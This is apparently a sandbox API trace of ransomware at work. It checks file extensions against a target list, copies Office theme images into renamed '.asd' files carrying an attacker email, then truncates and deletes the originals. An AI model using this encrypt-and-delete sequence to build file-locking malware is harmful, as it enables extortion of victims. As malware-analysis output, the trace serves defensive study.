lstrlenW (lpString=".pdf") returned 4 [0053.113] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0053.113] lstrlenW (lpString=".xls") returned 4 [0053.113] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0053.113] lstrlenW (lpString=".xlsx") returned 5 [0053.113] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0053.114] lstrlenW (lpString=".ppt") returned 4 [0053.114] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0053.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.114] lstrlenW (lpString=".zip") returned 4 [0053.114] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0053.114] lstrlenW (lpString=".rar") returned 4 [0053.114] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0053.114] lstrlenW (lpString=".bz2") returned 4 [0053.114] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0053.114] lstrlenW (lpString=".7z") returned 3 [0053.114] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0053.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.114] lstrlenW (lpString=".dbf") returned 4 [0053.114] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0053.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.114] lstrlenW (lpString=".1cd") returned 4 [0053.114] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0053.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.114] lstrlenW (lpString=".jpg") returned 4 [0053.114] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0053.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.114] lstrlenW (lpString=".doc") returned 4 [0053.114] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0053.114] lstrlenW (lpString=".docx") returned 5 [0053.115] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0053.115] lstrlenW (lpString=".pdf") returned 4 [0053.115] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0053.115] lstrlenW (lpString=".xls") returned 4 [0053.115] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0053.115] lstrlenW (lpString=".xlsx") returned 5 [0053.115] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0053.115] lstrlenW (lpString=".ppt") returned 4 [0053.115] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0053.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.115] lstrlenW (lpString=".zip") returned 4 [0053.115] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0053.115] lstrlenW (lpString=".rar") returned 4 [0053.115] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0053.115] lstrlenW (lpString=".bz2") returned 4 [0053.115] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0053.115] lstrlenW (lpString=".7z") returned 3 [0053.115] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0053.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.115] lstrlenW (lpString=".dbf") returned 4 [0053.115] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0053.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.115] lstrlenW (lpString=".1cd") returned 4 [0053.115] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0053.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0053.115] lstrlenW (lpString=".jpg") returned 4 [0053.115] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0053.116] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.116] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.505] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2181) returned 1 [0053.505] CloseHandle (hObject=0x214) returned 1 [0053.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0053.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.505] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.506] GetLastError () returned 0x0 [0053.506] ReadFile (in: hFile=0x214, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x885, lpOverlapped=0x0) returned 1 [0053.508] WriteFile (in: hFile=0x218, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x890, lpOverlapped=0x0) returned 1 [0053.510] ReadFile (in: hFile=0x214, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.510] WriteFile (in: hFile=0x218, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.510] SetEndOfFile (hFile=0x218) returned 1 [0053.511] CloseHandle (hObject=0x218) returned 1 [0053.511] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.511] SetEndOfFile (hFile=0x214) returned 1 [0053.512] CloseHandle (hObject=0x214) returned 1 [0053.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.512] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0053.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.513] lstrlenW (lpString=".doc") returned 4 [0053.513] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.513] lstrlenW (lpString=".docx") returned 5 [0053.513] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.513] lstrlenW (lpString=".pdf") returned 4 [0053.513] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.513] lstrlenW (lpString=".xls") returned 4 [0053.513] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.513] lstrlenW (lpString=".xlsx") returned 5 [0053.513] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.513] lstrlenW (lpString=".ppt") returned 4 [0053.513] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.513] lstrlenW (lpString=".zip") returned 4 [0053.513] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.513] lstrlenW (lpString=".rar") returned 4 [0053.513] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.513] lstrlenW (lpString=".bz2") returned 4 [0053.513] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.513] lstrlenW (lpString=".7z") returned 3 [0053.513] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.514] lstrlenW (lpString=".dbf") returned 4 [0053.514] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.514] lstrlenW (lpString=".1cd") returned 4 [0053.514] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.514] lstrlenW (lpString=".jpg") returned 4 [0053.514] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.514] lstrlenW (lpString=".doc") returned 4 [0053.514] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.514] lstrlenW (lpString=".docx") returned 5 [0053.514] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.514] lstrlenW (lpString=".pdf") returned 4 [0053.514] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.514] lstrlenW (lpString=".xls") returned 4 [0053.514] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.514] lstrlenW (lpString=".xlsx") returned 5 [0053.514] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.514] lstrlenW (lpString=".ppt") returned 4 [0053.514] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.514] lstrlenW (lpString=".zip") returned 4 [0053.514] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.515] lstrlenW (lpString=".rar") returned 4 [0053.515] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.515] lstrlenW (lpString=".bz2") returned 4 [0053.515] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.515] lstrlenW (lpString=".7z") returned 3 [0053.515] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.515] lstrlenW (lpString=".dbf") returned 4 [0053.515] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.515] lstrlenW (lpString=".1cd") returned 4 [0053.515] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0053.515] lstrlenW (lpString=".jpg") returned 4 [0053.515] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.515] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.515] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.516] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1925) returned 1 [0053.516] CloseHandle (hObject=0x214) returned 1 [0053.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0053.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.517] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.517] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.519] GetLastError () returned 0x0 [0053.519] ReadFile (in: hFile=0x214, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x785, lpOverlapped=0x0) returned 1 [0053.522] WriteFile (in: hFile=0x218, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x790, lpOverlapped=0x0) returned 1 [0053.523] ReadFile (in: hFile=0x214, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.523] WriteFile (in: hFile=0x218, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.523] SetEndOfFile (hFile=0x218) returned 1 [0053.523] CloseHandle (hObject=0x218) returned 1 [0053.523] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.523] SetEndOfFile (hFile=0x214) returned 1 [0053.524] CloseHandle (hObject=0x214) returned 1 [0053.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.525] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0053.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.525] lstrlenW (lpString=".doc") returned 4 [0053.525] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.525] lstrlenW (lpString=".docx") returned 5 [0053.525] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.525] lstrlenW (lpString=".pdf") returned 4 [0053.525] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.525] lstrlenW (lpString=".xls") returned 4 [0053.525] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.525] lstrlenW (lpString=".xlsx") returned 5 [0053.525] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.525] lstrlenW (lpString=".ppt") returned 4 [0053.525] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.525] lstrlenW (lpString=".zip") returned 4 [0053.525] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.525] lstrlenW (lpString=".rar") returned 4 [0053.525] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.526] lstrlenW (lpString=".bz2") returned 4 [0053.526] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.526] lstrlenW (lpString=".7z") returned 3 [0053.526] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.526] lstrlenW (lpString=".dbf") returned 4 [0053.526] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.526] lstrlenW (lpString=".1cd") returned 4 [0053.526] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.526] lstrlenW (lpString=".jpg") returned 4 [0053.526] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.526] lstrlenW (lpString=".doc") returned 4 [0053.526] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.526] lstrlenW (lpString=".docx") returned 5 [0053.526] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.526] lstrlenW (lpString=".pdf") returned 4 [0053.526] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.526] lstrlenW (lpString=".xls") returned 4 [0053.526] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.526] lstrlenW (lpString=".xlsx") returned 5 [0053.526] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.526] lstrlenW (lpString=".ppt") returned 4 [0053.527] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.527] lstrlenW (lpString=".zip") returned 4 [0053.527] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.527] lstrlenW (lpString=".rar") returned 4 [0053.527] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.527] lstrlenW (lpString=".bz2") returned 4 [0053.527] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.527] lstrlenW (lpString=".7z") returned 3 [0053.527] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.527] lstrlenW (lpString=".dbf") returned 4 [0053.527] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.527] lstrlenW (lpString=".1cd") returned 4 [0053.527] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0053.527] lstrlenW (lpString=".jpg") returned 4 [0053.527] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.527] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.527] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.666] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27407) returned 1 [0053.666] CloseHandle (hObject=0x21c) returned 1 [0053.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0053.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.666] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.666] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.676] GetLastError () returned 0x0 [0053.676] ReadFile (in: hFile=0x21c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0053.686] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0053.688] ReadFile (in: hFile=0x21c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.688] WriteFile (in: hFile=0x1dc, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.688] SetEndOfFile (hFile=0x1dc) returned 1 [0053.688] CloseHandle (hObject=0x1dc) returned 1 [0053.688] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.688] SetEndOfFile (hFile=0x21c) returned 1 [0053.689] CloseHandle (hObject=0x21c) returned 1 [0053.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.689] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0053.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0053.690] lstrlenW (lpString=".doc") returned 4 [0053.690] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.690] lstrlenW (lpString=".docx") returned 5 [0053.690] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.690] lstrlenW (lpString=".pdf") 